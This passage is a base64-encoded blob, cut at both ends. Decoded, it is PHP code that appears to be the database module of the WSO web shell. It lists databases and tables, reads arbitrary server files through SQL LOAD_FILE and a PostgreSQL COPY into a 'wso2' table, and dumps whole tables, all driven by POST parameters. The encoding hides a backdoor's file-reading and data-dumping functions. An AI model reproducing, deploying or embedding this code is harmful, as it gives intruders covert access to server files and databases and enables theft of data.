DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywgJHN0cik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBmZXRjaCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygpID8gZnVuY19nZXRfYXJnKDApIDogJHRoaXMtPnJlczsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbGlzdERicygpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkdGhpcy0+dHlwZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZXJyb3IoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfbGFzdF9lcnJvcigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkdGhpcy0+dHlwZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKSByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnIC4gJHN0cik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbG9hZEZpbGUoJHN0cikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIgLiBhZGRzbGFzaGVzKCRzdHIpIC4gIicpIGFzIGZpbGUiKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSB3c28yKGZpbGUgdGV4dCk7Q09QWSB3c28yIEZST00gJyIgLiBhZGRzbGFzaGVzKCRzdHIpIC4gIic7c2VsZWN0IGZpbGUgZnJvbSB3c28yOyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJGkgPSAkdGhpcy0+ZmV0Y2goKSkgJHJbXSA9ICRpWydmaWxlJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIHdzbzInKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkoJ2ZpbGUnID0+IGltcGxvZGUoIg0KIiwgJHIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkdGFibGUsICRmcCA9IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJyAuICR0YWJsZSAuICdgJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAkY3JlYXRlWzFdIC4gIjsNCiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBlY2hvICgkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcgLiAkdGFibGUgLiAnYCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkgJSAxMDAwID09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiOw0KDQoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZW0gYXMgJGsgPT4gJHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdiA9PT0gbnVsbCkgJGl0ZW1bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChpc19pbnQoJHYpKSAkaXRlbVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgJGl0ZW1bJGtdID0gIiciIC4gQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikgLiAiJyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiIC4gJGsgLiAiYCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRoZWFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsLj0gJ0lOU0VSVCBJTlRPIGAnIC4gJHRhYmxlIC4gJ2AgKCcgLiBpbXBsb2RlKCIsICIsICRjb2x1bW5zKSAuICIpIFZBTFVFUyANCgkoIiAuIGltcGxvZGUoIiwgIiwgJGl0ZW0pIC4gJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlICRzcWwuPSAiDQoJLCgiIC4gaW1wbG9kZSgiLCAiLCAkaXRlbSkgLiAnKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ3cml0ZSgkZnAsICRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGVjaG8gKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRoZWFkKSBpZiAoJGZwKSBmd3JpdGUoJGZwLCAiOw0KDQoiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGVjaG8gKCI7DQoNCiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnIC4gJHRhYmxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVtIGFzICRrID0+ICR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIgLiBhZGRzbGFzaGVzKCR2KSAuICInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAkazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcgLiAkdGFibGUgLiAnICgnIC4gaW1wbG9kZSgiLCAiLCAkY29sdW1ucykgLiAnKSBWQUxVRVMgKCcgLiBpbXBsb2RlKCIsICIsICRpdGVtKSAuICcpOycgLiAiDQoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBlY2hvICgkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKEAkX1BPU1RbJ3AyJ10gPT0gJ2Rvd25sb2FkJykgJiYgKEAkX1BPU1RbJ3AxJ10gIT0gJ3NlbGVjdCcpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCRfUE9TVFsnY2hhcnNldCddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI